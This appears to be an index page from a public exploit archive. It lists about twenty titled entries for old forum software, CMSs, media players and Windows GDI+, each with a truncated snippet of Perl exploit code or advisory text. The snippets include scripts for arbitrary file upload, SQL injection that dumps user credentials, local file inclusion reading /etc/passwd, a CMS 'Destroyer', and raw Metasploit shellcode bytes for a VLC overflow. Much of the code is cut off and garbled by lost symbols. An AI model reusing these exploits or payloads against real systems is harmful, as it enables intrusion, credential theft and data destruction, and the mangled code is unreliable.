OpenForum 0.66 Beta Remote Reset Admin Password Exploit

No description provided by source. !/usr/bin/perl -w ======================================================== OpenForum 0.66 Beta Remote Reset Admin Password Exploit ======================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...

w3camayaurl-overflow.txt

W3C Amaya 10.1 Web Browser Amaya URL Bar Remote Stack Overflow Vulnerability Written and discovered by: r0ut3r writ3r at gmail.com / www.bmgsec.com.au Advisory: http://www.bmgsec.com.au/advisory/40/ ------------------------------------------------------ Shellcode notes: The application fails to...

wPortfolio 0.3 - Arbitrary File Upload

!/usr/bin/perl Name: wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file." \n"; else print "- Upload failed ! \n"; sub cheek my $host = $0; if $host = /http://./...

wPortfolio <= 0.3 Remote Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ====================================================== wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file...

memht40-exec.txt

!/usr/bin/perl =about MemHT Portal = 4.0 Perl exploit AUTHOR: Discovered and written by Ams ax330d doggy gmail dot com DESCRIPTION: Here we are able to make SQL-injection due to weak filtering. So, look at inc/incheader.php lines 74, where hides code $checktitle = isset$GET'title' ?...

Simple Machines Forum (SMF) 1.1.6 - Local File Inclusion / Code Execution

!/usr/bin/perl @title: Simple Machines Forum Code Execution @versn: perl P:\advisories\smf\smflocalfileinclude.pl -s http://localhost/audit/smf116 -u regular -p test -d ii 0day Simple Machines Forum new cookiejar = , agent = "Mozilla FireFox" ; my %parms = s = "", d = 0, x = sub print " Proxy...

devilzclanportal-blindsql.txt

use HTTP::Cookies; use LWP::UserAgent; my $ua = LWP::UserAgent-new cookiejar = HTTP::Cookies-new,; $ua-agent 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ; usage; print "\n"; $server = $ARGV0; $dir = $ARGV1; $username = $ARGV2; $password = $ARGV3; if !$password die "Argh! Read teh Usage!\n"; $url...

FTP Now 2.6 Server Response Remote Crash PoC

Exploit for unknown platform in category dos / poc ============================================ FTP Now 2.6 Server Response Remote Crash PoC ============================================ !/usr/bin/perl By Dr.Pantagon www.deltasecurity.ir DeltaSecurityCenter Special Tnx D7J AND H!V++ FTP Now versio...

VideoLAN VLC Media Player 0.9.4 - .TY Local Stack Buffer Overflow

VideoLAN VLC Media Player 0.9.4 - .TY Local Stack Buffer Overflow !/usr/bin/perl 10/21/2008 ksOSe use warnings; use strict; windows/exec - 141 bytes http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01"...

vlc-overflow.txt

!/usr/bin/perl 10/21/2008 ksOSe use warnings; use strict; windows/exec - 141 bytes http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" . "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"...

vivvocms-destroy.txt

!/usr/bin/perl Vivvo CMS Destroyer [email protected] By Xianur0 -------------CREDITS------------- http://milw0rm.com/exploits/4192 http://milw0rm.com/exploits/3326 http://milw0rm.com/exploits/2339 http://milw0rm.com/exploits/2337 -------------/CREDITS------------- print "\n Vivvo CMS Destroyer B...

BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ============================================================ BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit ============================================================ !/usr/bin/perl BitTorrent 6.0.3 .torrent File Stack Buffer...

Stash 1.0.3 (SQL) User Credentials Disclosure Exploit

No description provided by source. !/usr/bin/perl -w User credentials disclosure exploit - stash103exp.pl Gnix [email protected] http://gnix.netsons.org This exploit use an SQL Injection in the file admin/login.php to bypass the login, and then an SQL Injection in the admin/news.php to extract a...

mswingdi-poc.txt

------------------------------------------------------------------------------------------------------------ Operating System: XP SP2 Gdiplus.dll Version: 5.1.3102.2180 Credit: John Smith, Evil Fingers GIF Template Reference: http://www.sweetscape.com/010editor/templates/files/GIFTemplate.bt PoC...

Stash 1.0.3 - SQL Injection User Credentials Disclosure

!/usr/bin/perl -w User credentials disclosure exploit - stash103exp.pl Gnix http://gnix.netsons.org This exploit use an SQL Injection in the file admin/login.php to bypass the login, and then an SQL Injection in the admin/news.php to extract all the users info. Note: password are crypted with md5...

Microsoft Windows - GDI+ (PoC) (MS08-052) (2)

Microsoft Windows - GDI+ PoC MS08-052 2 ------------------------------------------------------------------------------------------------------------ Operating System: XP SP2 Gdiplus.dll Version: 5.1.3102.2180 Credit: John Smith, Evil Fingers GIF Template Reference:...

mirc634-overflow.txt

!/usr/bin/perl mIRC 6.34 Remote Buffer Overflow Exploit Exploit by SkD skdrat hotmail com ---------------------------------------- A day's work of debugging and looking at mIRC. Tested on Windows XP SP3 English and Windows Vista SP0. Credits to securfrog for publishing the PoC. Author has no...

Yerba SACphp <= 6.3 (mod) Local File Inclusion Exploit

Exploit for unknown platform in category web applications ====================================================== Yerba SACphp \n"; print "\tex: perl $0 http://localhost /etc/passwd\n\n"; exit 1; $host = 'http://'.$host if $host ! /^http:/; $host .= "/" if $host ! //$/; my $ua =...

geccBBlite 2.0 (leggi.php id) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Coded by Piker pikerdotther00tatgmaildotcom D.O.M Team piker,ka0x,an0de,xarnuz 2008 Security Researchers geccBBlite Forums SQL Injection Exploit This exploit tries to read an arbitrary file. piker@domlabs:/advisories$ perl geccBB.pl...

Website Directory - index.php Cross-Site Scripting

Website Directory - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/31562/info Website Directory is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data. An attacker may leverage this issue to execute arbitrary...